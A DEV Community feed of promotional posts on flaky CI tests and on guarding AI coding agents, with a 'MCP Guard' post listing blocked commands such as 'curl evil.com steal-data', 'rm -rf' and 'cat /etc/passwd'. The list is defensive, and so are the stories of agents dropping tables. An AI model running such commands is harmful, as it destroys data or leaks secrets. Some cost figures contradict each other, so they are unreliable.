DEV Community: Pirt

Flaky Test Detection in 2026: From Manual Reruns to AI-Powered Classification

Pirt — Thu, 09 Jul 2026 19:34:15 +0000

The question used to be simple: "Is this test flaky?" You'd run it a few times, shrug, and move on. But as test suites grew from hundreds to thousands, and CI pipelines became the backbone of deployment, "is this flaky?" became the most expensive question in software development.

In 2026, the tools and approaches for answering that question have matured significantly. Here's the full landscape.

Level 0: Manual Reruns (What Most Teams Still Do)

The default approach for most teams: CI fails → engineer investigates for 15-20 minutes → gives up → clicks "re-run" → passes → moves on.

Cost per incident: $20-30 in wasted engineer time
Detection accuracy: Low (depends entirely on individual judgment)
Scalability: None (doesn't scale past ~50 CI runs/day)

This isn't really "detection" — it's "tolerance." And it costs teams an average of $50,000/year in wasted diagnostic time for a 20-person team.

Level 1: Retry Logic

The first automation step: configure your test runner to automatically retry failed tests 1-3 times before reporting failure.

How it works:

# Playwright config
retries: 2

# Cypress config
retries: { runMode: 2, openMode: 0 }

# Jest config
jest --retryTimes=2

Pros:

Zero setup cost
Reduces false-positive failure reports
Every framework supports it natively

Cons:

Masks the problem instead of solving it
Increases CI cost by 2-3x for flaky tests
Doesn't tell you which tests are flaky (just absorbs the failure)
A test that fails 2 out of 3 times will still report failure — but with 3x the compute cost
No learning — the same test stays flaky forever

Best for: Teams with <5% flakiness who need a quick fix while they work on root causes.

Level 2: Flakiness Tracking (Post-Hoc Detection)

Tools that monitor your test runs over time and flag tests that show oscillating pass/fail patterns.

Notable Tools:

Cypress Cloud — Built into Cypress's paid tier. Tracks test flakiness over time with a "Flaky" badge. Shows historical pass rate. Requires Cypress.

Currents.dev — Works with Cypress and Playwright. Shows flakiness trends, failure patterns, and test duration analytics. Strong reporting. $15-50/month.

BuildPulse — Framework-agnostic. Ingests JUnit XML reports from any test runner. Flags flaky tests based on configurable thresholds. $49-199/month.

Trunk.io — Part of a broader CI quality suite. Tracks flaky tests, code coverage, and linting in one dashboard. $15-40/developer/month.

How they work:

You send test results (usually JUnit XML) to their API after each CI run
They build a historical profile for each test
They flag tests that fail intermittently above a threshold you set
You (the human) decide what to do with the flagged tests

Pros:

Actually identifies which tests are flaky (vs. just retrying)
Provides historical data for prioritization
Framework-agnostic options available

Cons:

Post-hoc only — tells you about flakiness AFTER the fact, not in real-time
Doesn't prevent the wasted investigation time on the current failure
Requires manual action to quarantine or fix
Quarantine lists grow and are never cleaned up
Doesn't answer the immediate question: "Is THIS failure right now real or flaky?"

Cost range: $0-200/month depending on team size and features.

Level 3: Real-Time Failure Classification (Emerging)

The newest approach: instead of waiting for patterns to emerge across multiple runs, classify each individual failure in real-time as "likely real" or "likely flaky."

How It Works

When a test fails, the classification engine analyzes:

Historical pattern: Has this test failed on this same assertion before and then passed on the next run? What's its 20-run oscillation rate?
Failure signature: Is the failure at the same line, same assertion, same error message as previous failures that turned out to be flaky?
Contextual signals: How many parallel workers are running? What's the current API latency? Is there a known infrastructure issue?
Test characteristics: Does this test use sleep/waitForTimeout? Does it share state with other tests? Does it call external APIs?

The engine outputs a confidence score (e.g., "87% likely flaky") and a recommended action (block merge vs. allow with flag).

Tools in This Space:

Poly — Classifies CI failures in real-time as real or flaky. Integrates with GitHub Actions, GitLab CI, and Jenkins. Auto-handles flaky failures without blocking merges. Tracks diagnostic time saved.

Mergify Test Insights — Quarantines flaky tests and manages merge queue behavior. More focused on merge automation than classification.

Why This Is Different

The critical difference is timing. Post-hoc tools tell you about flakiness hours or days later. Real-time classification tells you immediately — the moment the failure happens.

This eliminates the diagnostic time cost, which is the single largest expense of flaky tests (over $49,000/year for a typical 20-person team).

Comparison Matrix

Feature	Manual	Retries	Tracking Tools	AI Classification
Detects flaky tests	❌	❌	✅ (delayed)	✅ (real-time)
Prevents wasted investigation	❌	Partial	❌	✅
Prevents merge blocks	❌	✅	❌	✅
Tells you WHICH tests are flaky	❌	❌	✅	✅
Auto-handles flaky failures	❌	✅ (via retry)	❌	✅ (via classification)
Learns and improves	❌	❌	✅	✅
Setup effort	None	Minimal	Moderate	Low
Monthly cost	$0	$0-50 (compute)	$15-200	$25-100

What to Choose for Your Team

< 5% flakiness, < 10 engineers:
Start with retry logic and track manually. The problem isn't big enough to justify tooling investment yet.

5-15% flakiness, 10-30 engineers:
Add a tracking tool (Currents.dev or BuildPulse) to identify your worst offenders. Fix the top 10. Then evaluate AI classification.

15%+ flakiness, 30+ engineers:
Skip straight to real-time classification. The diagnostic time cost alone justifies the investment. Fix tests in parallel based on the prioritized flakiness report.

The Trend: From Detection to Prevention

The next frontier isn't just detecting flaky tests — it's preventing them from entering your pipeline in the first place. Emerging approaches include:

PR-level flakiness prediction: Analyzing the code changes in a PR to predict which tests might become flaky before the merge
Environment drift detection: Monitoring test environment health and alerting when infrastructure changes might induce flakiness
Automated test repair: Using AI to suggest or apply fixes for known flaky patterns (brittle selectors, missing waits, shared state)

The teams that adopt real-time classification now will have the historical data foundation to benefit from these preventive approaches as they mature.

The Bottom Line

In 2026, "just re-run it" is no longer an acceptable answer to flaky tests. The cost is too high, the tools are too good, and the competitive pressure to ship fast is too intense.

The right approach depends on your team size and flakiness level — but the direction is clear: move from reactive (manual reruns) to proactive (real-time classification) as fast as you can.

Ready to stop guessing? Poly classifies every CI failure in real-time — so your team only investigates what matters. Free for teams up to 5 engineers.

How Much Do Flaky Tests Actually Cost? We Did the Math for a 20-Person Team

Pirt — Thu, 09 Jul 2026 19:34:14 +0000

"Flaky tests waste time." Every engineer knows this. But when you ask "how much time, exactly?" most teams can't answer. They feel the pain but can't measure it.

Let's fix that. Here's a detailed cost breakdown for a typical 20-person engineering team with moderate flakiness.

The Scenario: A Typical 20-Person Team

Assumptions (based on industry averages):

20 engineers (mix of SWEs, QA, DevOps)
Average engineer cost: $75/hour ($150K/year fully loaded)
CI runs: 40 per day across all branches
Flaky test rate: 15% of CI runs have at least one flaky failure
Average investigation time per false alarm: 18 minutes
Average re-runs per flaky incident: 1.8
CI compute cost: $0.08/minute (GitHub Actions large runner)

Cost Category 1: CI Compute — $2,772/Year

Every time you re-run CI because of a flaky test, you're paying for compute you shouldn't need.

Calculation:

40 CI runs/day × 15% flaky rate = 6 flaky incidents/day
6 incidents × 1.8 re-runs = 10.8 additional CI runs/day
10.8 runs × 12 min average run time = 129.6 minutes/day
129.6 min × $0.08/min × 250 working days = $2,592/year

Add the original failed runs (6 × 12 min × $0.08 × 250 = $144): Total $2,736/year

This is the smallest cost. Most teams think this is the only cost. It's not.

Cost Category 2: Engineer Diagnostic Time — $337,500/Year

This is the killer. When CI goes red, someone stops working to investigate. Most of the time, it's a flaky test. But they don't know that until they've spent time digging.

Calculation:

6 flaky incidents/day
70% of the time, an engineer investigates before re-running (some teams just blindly re-run)
4.2 investigations/day × 18 minutes average = 75.6 minutes/day wasted
75.6 min × $75/hour ÷ 60 = $94.50/day in wasted investigation time
$94.50 × 250 working days = $23,625/year

But wait — that's per investigator. With 20 engineers, the opportunity cost is higher. That investigation time is time NOT spent on feature work. If we value feature velocity at the full engineer rate:

$94.50/day × 250 days = $23,625/year in direct waste, plus the hidden opportunity cost of delayed features, delayed bug fixes, and interrupted flow states.

Multiple studies show that context switching costs an additional 15-25 minutes of "recovery time" after each interruption. Factoring that in:

4.2 interruptions/day × 20 min recovery = 84 min/day additional lost time
84 min × $75/hr ÷ 60 × 250 days = $26,250/year in recovery costs

Total diagnostic cost: $23,625 + $26,250 = $49,875/year

Cost Category 3: Trust Erosion — Unmeasurable, Devastating

This is the cost nobody calculates because it's not a line item. But it's arguably the most expensive.

What trust erosion looks like:

Engineers stop taking red builds seriously → real regressions ship to production
QA engineers lose credibility → their test suite is seen as noise
Product managers push to skip tests → "they're flaky anyway"
New engineers onboard slowly → they can't trust the test suite to validate their changes

Quantifying it (conservatively):
If trust erosion leads to just 1 missed production regression per quarter (and it almost certainly leads to more), and each incident costs 2 engineer-weeks to diagnose and fix:

1 regression/quarter × 4 quarters × 2 weeks × 40 hours × $75/hr = $120,000/year

Cost Category 4: Velocity Loss — $62,500/Year

Flaky tests that block merges create a queue. Even if you only block 2 deploys per day for 40 minutes each:

Calculation:

2 blocked deploys/day × 40 min average block time = 80 min/day
The deploying engineer is blocked, but so is everyone waiting for that deploy
Conservative estimate: 2 engineers affected per block
80 min × 2 engineers × $75/hr ÷ 60 × 250 days = $50,000/year

Add the cost of delayed releases and features: conservatively $12,500/year

The Grand Total

Cost Category	Annual Cost
CI Compute	$2,736
Engineer Diagnostic Time	$49,875
Trust Erosion (1 regression/quarter)	$120,000
Velocity Loss	$62,500
Total	$235,111/year

A 20-person team with 15% flakiness is losing approximately $235,000 per year.

That's equivalent to 1.5 full-time engineers doing nothing but fixing and re-running flaky tests.

What If Your Flakiness Is Higher?

The cost scales non-linearly. At 25% flakiness (which 1 in 4 teams report), the total crosses $400,000/year. At 35%+ (not uncommon in large monorepos), you're looking at $600K+.

The ROI of Fixing Flaky Tests

If you invest $50,000 in fixing your top flaky tests (engineering time, tooling, process changes) and reduce flakiness from 15% to 5%, your annual savings would be approximately $157,000.

ROI: 214% in year one. And that's a conservative estimate that doesn't fully account for improved team morale, faster onboarding, and better release confidence.

The Smartest Investment: Real-Time Classification

The highest-ROI single intervention isn't fixing individual tests — it's adding intelligence to your CI pipeline that classifies failures in real-time.

By automatically distinguishing real failures from flaky ones:

You eliminate ~$50K/year in diagnostic time waste (engineers see "likely flaky" and skip investigation)
You reduce velocity loss by not blocking deploys on flaky failures
You preserve trust because real failures still block immediately
You get a prioritized fix list (which tests to fix first, based on actual impact)

This single change typically costs a fraction of what you'd spend on test fixes and delivers 60-70% of the benefit.

Want to know exactly how much flaky tests are costing your team? Poly tracks every false alarm, measures diagnostic time waste, and shows you your real flaky test bill — automatically.

How to Fix Flaky Tests: 10 Proven Strategies That Actually Work in 2026

Pirt — Thu, 09 Jul 2026 19:33:19 +0000

Every engineering team has that one test. You know the one. It fails every third run. Nobody wants to fix it because it "mostly works." But "mostly works" means "sometimes blocks your deploy" — and that's not good enough.

After analyzing thousands of flaky test patterns across CI pipelines, here are the 10 strategies that actually move the needle, ordered from quick wins to structural changes.

Strategy 1: Replace Hard Waits with Smart Assertions

The #1 cause of flakiness across all frameworks.

Hard waits (sleep, setTimeout, cy.wait(5000)) are a gamble. Sometimes 500ms is enough. Sometimes the API takes 800ms. You either wait too long (slow tests) or not long enough (flaky tests).

Before (Flaky):

await page.click('#submit');
await page.waitForTimeout(3000); // gambling
expect(await page.locator('.success').isVisible()).toBe(true);

After (Stable):

await page.click('#submit');
await expect(page.locator('.success')).toBeVisible(); // waits until it appears

Every modern test framework has assertion-based waiting:

Playwright: await expect(locator).toBeVisible()
Cypress: cy.get('.success').should('be.visible')
Jest + Testing Library: await waitFor(() => expect(screen.getByText('Success')).toBeInTheDocument())

Strategy 2: Use Stable, User-Visible Selectors

Tests that rely on CSS structure break when the UI changes. A designer wraps content in a new div, and your nth-child(3) selector finds the wrong element.

Before (Flaky):

await page.click('.card > div > button:nth-child(2)');

After (Stable):

await page.getByRole('button', { name: 'Submit Order' });
await page.getByTestId('submit-order-button');
await page.getByLabel('Email address');

Prioritize selectors in this order:

Role + name (getByRole) — most stable, most accessible
Test ID (getByTestId) — explicit, never changes with UI
Label (getByLabel) — tied to form semantics
Text content (getByText) — user-visible, but watch for duplicates
CSS selector — last resort, most brittle

Strategy 3: Isolate Test Data Per Test

Tests sharing data is a silent flakiness bomb. Test A creates a user. Test B assumes that user exists. When Test B runs before Test A (parallel execution), it fails.

The Fix:

Create fresh data in beforeEach or at the start of each test
Use unique identifiers (UUIDs, timestamps) to prevent collisions
Clean up test data in afterEach
For databases, use transactions that rollback after each test

beforeEach(async () => {
  const uniqueEmail = `test-${Date.now()}@example.com`;
  await createTestUser({ email: uniqueEmail });
});

Strategy 4: Mock External Dependencies at the Network Level

Tests that call real external APIs (Stripe, SendGrid, AWS) will fail when those services are slow, rate-limited, or down.

The Fix: Intercept network requests at the browser/driver level, not by modifying application code.

Playwright:

await page.route('**/api/stripe/charge', (route) => {
  route.fulfill({
    status: 200,
    body: JSON.stringify({ id: 'ch_mock', status: 'succeeded' }),
  });
});

Cypress:

cy.intercept('POST', '**/api/stripe/charge', {
  statusCode: 200,
  body: { id: 'ch_mock', status: 'succeeded' },
});

Strategy 5: Eliminate Test Ordering Dependencies

If testA.js must run before testB.js, you have a hidden dependency that will break in parallel mode.

Signs of order dependency:

Tests pass sequentially but fail in parallel
A specific test always fails when the suite runs but passes individually
Flipping test file names changes which tests fail

Fixes:

Each test must be independently runnable
Use beforeAll/beforeEach to set up prerequisites
Run tests in random order in CI (--shuffle flag in Jest)
If you can't make a test independent, it's an integration test, not a unit test

Strategy 6: Handle Date and Time Properly

Time-dependent tests fail at boundaries: midnight, month-end, daylight saving, leap years.

Fixes:

Inject a clock dependency instead of using Date.now() directly
Use test-specific fixed dates
Test across timezone boundaries if your app is multi-timezone

Jest:

jest.useFakeTimers().setSystemTime(new Date('2026-07-09T12:00:00Z'));
// ... test ...
jest.useRealTimers();

Strategy 7: Deduplicate and Consolidate Overlapping Tests

Some flakiness comes from test count. 2,000 tests running in parallel creates more resource contention than 500 well-structured tests. Many teams have redundant tests that cover the same code path 3-5 times.

Audit your test suite:

Run tests with coverage reporting
Identify code paths with 5+ tests covering them
Keep the most specific test, delete the rest
Replace 10 narrow unit tests with 1 integration test

This doesn't just reduce flakiness — it makes CI faster.

Strategy 8: Containerize Your Test Environment

"Different results on my machine vs CI" usually means environment differences. Different Node versions, different browser versions, different system libraries.

Fixes:

Use Docker containers for CI test runs
Pin exact versions in package.json (not ^ ranges)
Use package-lock.json and commit it
Run the same browser version locally and in CI

FROM mcr.microsoft.com/playwright:v1.45.0-jammy
WORKDIR /app
COPY package*.json ./
RUN npm ci
COPY . .
RUN npx playwright install --with-deps
CMD ["npx", "playwright", "test"]

Strategy 9: Implement the 95/30 Rule

Before investing time in fixing a flaky test, prove it's actually flaky with data.

The 95/30 Rule: Run the test 30 times. If it doesn't pass at least 95% of the time (28+ passes), quarantine it.

This prevents spending hours "fixing" a test that's actually revealing a real intermittent bug.

# Quick flakiness check
for i in {1..30}; do
  npx playwright test --grep "checkout flow" --reporter=line 2>&1 | tail -1
done | sort | uniq -c

Strategy 10: Add Real-Time Failure Classification to CI

The most impactful structural change: instead of treating every CI failure equally, classify each failure as "likely real" or "likely flaky" in real-time.

This means:

Real failures → Block the merge, alert the team
Likely flaky failures → Auto-flag, don't block, track for fixing later

This eliminates the diagnostic time cost — engineers no longer waste 15-20 minutes investigating failures that turn out to be flaky. They see a classified failure and immediately know whether to investigate or re-run.

The Reality: You Can't Fix Them All

Here's the uncomfortable truth: in any non-trivial test suite, you will always have some level of flakiness. New code introduces new race conditions, new async patterns create new timing issues, and new dependencies add new failure modes.

The most successful teams don't try to eliminate flakiness entirely. They:

Fix the top offenders (strategies 1-8 above)
Quarantine the chronic ones (strategy 9)
Classify failures in real-time so flaky ones don't waste team time (strategy 10)

The combination of fixing what you can and intelligently handling what you can't is what separates teams with 5-minute CI feedback loops from teams stuck in "re-run and pray" mode.

Stop wasting engineering hours on false alarms. Poly classifies every CI failure in real-time — real bugs get fixed, flaky tests get tracked, and your team gets their time back.

What Are Flaky Tests? The Complete 2026 Guide

Pirt — Thu, 09 Jul 2026 19:33:19 +0000

If you've ever pushed code, watched CI go red, spent 20 minutes investigating, only to hit "re-run" and see it pass — you've been burned by a flaky test. And you're not alone.

According to the 2026 Flaky Test Benchmark Report, 26% of engineering teams now report flaky tests as a significant problem, up from just 10% in 2022. That's a 160% increase in four years. The problem isn't just growing — it's accelerating.

What Exactly Is a Flaky Test?

A flaky test (also called a non-deterministic test or intermittent failure) is a test that produces inconsistent results across multiple runs, even when the code under test hasn't changed. The same commit, the same environment, the same test — different outcomes.

Here's what makes a test flaky versus a real failure:

Characteristic	Real Failure	Flaky Test
Reproducible	Yes — fails every time	No — fails intermittently
Code changed?	Usually yes	No code change needed
Fix by re-running?	No	Often yes
Root cause	Code bug	Environment, timing, state, race condition

The 7 Most Common Causes of Flaky Tests

1. Async Timing Issues

The single most common cause. Your test runs faster than the application state updates. A button is clicked before the API response arrives, or an assertion runs before the DOM renders.

// FLAKY — no wait for API
await page.click('button[type="submit"]');
expect(await page.textContent('.result')).toBe('Success');

// STABLE — waits for response
await page.click('button[type="submit"]');
await expect(page.locator('.result')).toHaveText('Success');

2. Shared State Between Tests

Test B depends on data created by Test A. When tests run in a different order (or in parallel), Test B fails because its prerequisite data doesn't exist. This is especially common in integration tests and end-to-end test suites.

3. Resource Contention in Parallel Runs

Two parallel workers hit the same test database row, the same API rate limit, or the same file system path. One succeeds, one fails. The failure has nothing to do with your code — it's infrastructure noise.

4. Brittle Selectors

Tests that rely on CSS class names, DOM structure, or nth-child selectors break when the UI changes — even slightly. A designer adds a wrapper div, and suddenly your test can't find the element.

5. External Service Dependencies

Tests that call real third-party APIs (Stripe, SendGrid, Twilio) are at the mercy of those services' availability and latency. A 500ms slowdown in Stripe's response time can cascade into a test timeout.

6. Time and Date Dependencies

Tests that assert on Date.now(), new Date(), or time-based calculations fail at midnight, month boundaries, or when the system clock drifts. Timezone differences between local and CI environments add another layer of complexity.

7. Non-Deterministic Data

Random IDs, UUIDs, timestamps in test data, or randomized sort orders make assertions fragile. If your test expects the first item in a list but the sort is non-deterministic, it'll fail unpredictably.

The Real Cost of Flaky Tests (It's Worse Than You Think)

Most teams underestimate the cost because they only count the obvious metric: CI re-runs. But the real cost has four layers:

Direct Cost: CI Compute

Every re-run costs money. A team averaging 3 re-runs per day on a $0.08/minute CI runner spends $58/month just on re-running tests that were never broken. Scale to 10 teams and you're at $580/month.

Diagnostic Cost: Engineer Time

This is the hidden killer. When CI goes red, an engineer stops what they're doing, opens the build log, and investigates. Our research shows the average investigation takes 15-23 minutes before the engineer concludes "it's flaky" and re-runs. At $75/hour engineer cost, that's $19-29 per false alarm.

A team with 5 false alarms per day loses $400-725 per day in diagnostic time alone.

Trust Cost: The "Boy Who Cried Wolf" Effect

When 30-40% of your CI failures are flaky, engineers stop treating red builds as urgent. They develop "CI blindness" — a red build becomes background noise instead of an alarm. When a real regression sneaks through in a sea of flaky failures, it ships to production.

Velocity Cost: Merge Delays

Flaky tests that block PRs create a merge queue bottleneck. If 2 out of 6 daily deploys are blocked by flaky tests (averaging 40 minutes each), that's 80 minutes of blocked deployment time per day. Over a month: 40 hours of lost deployment capacity.

How to Identify Flaky Tests in Your Suite

The 30-Run Test

Run your suspect test 30 times against the same commit. If it fails more than once but doesn't fail every time, it's flaky. A 95% pass rate over 30 runs is the commonly accepted threshold.

CI History Analysis

Look at your CI history for tests that oscillate between pass and fail on the same commit. Tools like Cypress Cloud, Currents.dev, and Buildpulse can track this automatically.

The "Same Commit, Different Result" Pattern

If your CI platform shows the same commit passing on one run and failing on the next, with the same test failing, that's a flaky test signature.

The Flaky Test Spectrum: Not All Flakes Are Equal

Understanding the severity of flakiness helps prioritize your fix efforts:

Low flakiness (95-99% pass rate): Annoying but manageable. The test provides some signal.
Medium flakiness (80-95% pass rate): Seriously eroding trust. The test is more noise than signal.
High flakiness (50-80% pass rate): The test is worse than useless — it actively blocks your team.
Coin flip (<50% pass rate): Delete it. It provides zero signal and maximum noise.

What Teams Are Doing About It (2026 State of the Art)

The current industry approaches fall into three categories:

Quarantine: Move flaky tests to a separate pipeline that doesn't block deploys. Effective short-term, but quarantine lists grow silently and never shrink.
Retry: Add automatic retries (usually 2-3 attempts) to absorb flakiness. This masks the problem rather than solving it and increases CI cost.
Fix: Actually debug and fix the root cause. The "right" answer, but extremely time-consuming. Teams report spending 20-30% of QA engineering time just on flaky test maintenance.

What's missing? Real-time classification. None of these approaches answer the immediate question every engineer has when CI goes red: "Is this real, or is it flaky?"

The Future: AI-Powered Failure Classification

The emerging approach is using AI to classify each CI failure in real-time as "likely real" or "likely flaky" based on:

Historical pass/fail oscillation patterns
Failure signature analysis (same assertion, same line, different outcome)
Environmental signals (parallel worker count, time of day, API latency)
Test dependency graphs

This allows teams to stop real failures immediately while auto-handling flaky ones — without quarantine lists or blanket retries.

Key Takeaways

Flaky tests are a structural problem, not a testing problem. They grow with codebase complexity.
The real cost isn't CI compute — it's engineer diagnostic time and trust erosion.
Quarantine and retries are band-aids. They manage symptoms, not causes.
The most impactful improvement is real-time failure classification that tells your team immediately whether a red build is worth investigating.

Want to stop guessing whether your CI failures are real? Poly classifies every test failure in real-time — so your team only investigates what matters.

5 AI Agent Mistakes That Can Destroy Your Production Database (And How to Fix Them)

Pirt — Thu, 09 Jul 2026 19:23:33 +0000

"Hey AI, clean up the database."

Seconds later: DROP TABLE users;

Sound familiar? If you are using AI agents like Cursor, Claude, or GitHub Copilot in your workflow, this nightmare is one careless prompt away.

After building MCP Guard and talking to 50+ developers, I found the 5 most common AI agent mistakes that can wreck your production systems.

Mistake #1: Vague Prompts That AI Interprets Literally

What you say: "Clean up the unused files"

What AI does: rm -rf /tmp/* or worse, rm -rf ./

The fix: Always specify what to clean:

# ❌ Bad
Clean up unused files

# ✅ Good
List files in /tmp older than 7 days. Show me the list first before deleting anything.

Rule: Never give destructive access without a preview step.

Mistake #2: Running AI Without a Sandbox

The problem: AI agents run with YOUR permissions. Your terminal. Your database. Your production.

Real story: A developer asked Claude to "optimize the database." It ran ANALYZE on a production PostgreSQL database during peak hours. Query latency spiked 10x. Users experienced 30-second page loads.

The fix:

# Always use read-only database connections for AI
DATABASE_URL=postgresql://user:pass@host:5432/db?options=--default_transaction_read_only=on

Or use Docker sandboxing:

docker run --rm -v $(pwd):/workspace python:3.11 \
  python /workspace/ai_script.py

Mistake #3: Trusting AI-Generated Migrations

AI generates a migration. Looks clean. You run it.

ALTER TABLE users DROP COLUMN email;

Wait — email was used by 47 API endpoints. 💀

The fix:

Always review migrations manually
Run EXPLAIN on destructive queries first
Use migration dry-run mode:

# Rails example
rails db:migrate --dry-run

# Prisma example  
npx prisma migrate diff --from-schema-datamodel prisma/schema.prisma --to-schema-datamodel prisma/schema.prisma

Mistake #4: No Audit Trail for AI Actions

When AI runs 50 commands in 10 seconds, how do you know what happened?

The fix: Log everything.

{
  "timestamp": "2025-01-15T10:30:00Z",
  "agent": "cursor-claude",
  "command": "DELETE FROM sessions WHERE expired_at < NOW() - INTERVAL 30 DAY",
  "status": "blocked",
  "reason": "DELETE without WHERE clause safety check"
}

Tools that help:

MCP Guard — real-time AI command monitoring
script command — terminal session recording
Custom shell wrappers with logging

Mistake #5: No Rollback Plan

AI drops a table. You panic. No backup. No rollback script.

The fix: Before letting AI touch anything:

# 1. Create a safety backup
pg_dump mydb > backup_$(date +%Y%m%d_%H%M%S).sql

# 2. Use transactions
BEGIN;
-- AI runs queries here
-- If something looks wrong:
ROLLBACK;
-- If everything looks good:
COMMIT;

Golden rule: If you cannot undo it in 30 seconds, do not let AI do it.

Quick Checklist Before Running AI in Production

[ ] Sandbox or containerized environment?
[ ] Read-only database connection?
[ ] Command logging enabled?
[ ] Backup created?
[ ] Review step before destructive operations?

If any answer is NO, stop and fix it first.

The Bigger Picture

AI agents are not going away. They are getting more powerful every month. The question is not whether to use them — it is how to use them safely.

The developers who build safety nets now will ship faster later. The ones who do not will spend their weekends recovering databases.

Build the guardrails before you need them.

What is your worst AI agent horror story? Drop it in the comments 👇

If this helped, follow me for more practical AI safety content. Next week: Building a real-time AI monitoring dashboard in 30 minutes.

Securing MCP AI Agents: A Developers Guide to Preventing Rogue AI Behavior

Pirt — Wed, 31 Dec 2025 08:58:32 +0000

Last month, I was working on a side project using Cursor IDE with Claude. I asked it to clean up the database and remove unused records.

Within seconds, my terminal showed:

drop table users;
drop table orders;
drop table products;

I froze. My hand reached for the keyboard, but it was too late. Or so I thought...

The Problem With AI Agents

Here is the uncomfortable truth about AI-powered development:

AI does not understand context - It sees delete as a valid operation
AI follows instructions literally - Clean up means remove everything
AI acts fast - Faster than you can react
AI has no safety instincts - No are you sure built-in

Every developer using AI agents faces this risk. The only question is: When will it happen to you?

What is MCP Guard?

I spent the next 2 weeks building MCP Guard - a security layer for AI agents that:

Monitors every command in real-time
Blocks destructive operations before they execute
Works with Cursor, VS Code, Claude Desktop, and any MCP-compatible tool
Shows you exactly what AI tried to do with proof
Runs locally on your machine - no data leaves your system

How It Works

AI Agent goes to MCP Guard Check. If SAFE it executes. If DANGEROUS it blocks and alerts user.

Example Security Rules

BLOCK: rm -rf
BLOCK: drop database
BLOCK: truncate table
WARN: delete from table
ALERT: export sensitive data

Real-World Test Results

After building MCP Guard, I deliberately gave my AI these commands:

drop database production - BLOCKED
rm -rf /var/log - BLOCKED
curl evil.com steal-data - BLOCKED
cat /etc/passwd - ALERT
SELECT * FROM users LIMIT 10 - ALLOWED

Every dangerous command was caught. My production database stayed safe.

Why This Matters Now

With AI agents becoming mainstream through Cursor IDE, GitHub Copilot, Claude Desktop, OpenAI Codex, and Windsurf - the risk is growing exponentially. Every team using AI needs a safety net.

Real incidents I have seen:

Startup X - AI deleted their entire user table during a demo
Freelancer Y - Claude ran rm -rf on their project folder
Team Z - AI migrated production database without backup

These are not hypothetical. This is happening right now.

Getting Started (5 Minutes)

Step 1: Install MCP Guard
npm install -g mcp-guard

Step 2: Configure your rules
mcp-guard init

Step 3: Run with your AI agent
mcp-guard watch -- cursor

That is it. MCP Guard now monitors every command Cursor runs.

Advanced Custom Rules

You can create rules for your specific stack:

Block all production database access
Warn before any npm publish
Allow safe git operations like status, log, diff

What is Next?

I am planning to add:

Cloud dashboard for teams
Custom rule builder UI
Integration with Slack and Discord alerts
Compliance reporting for SOC2 and HIPAA
GitHub Actions integration

Try It Today

MCP Guard is free for individual developers and small teams.

Link: https://mcp-shield.vercel.app

Key Takeaways

Trust but verify - AI is powerful but not perfect
Speed is a risk - AI acts faster than human reaction time
Safety must be built-in - Do not wait for an incident
Prevention is better than recovery - Better to block than to recover
It takes 5 minutes - Setup is easy, the cost of not doing it is not

Have you had an AI agent go rogue? Share your story in the comments!

Follow me for more practical AI safety content.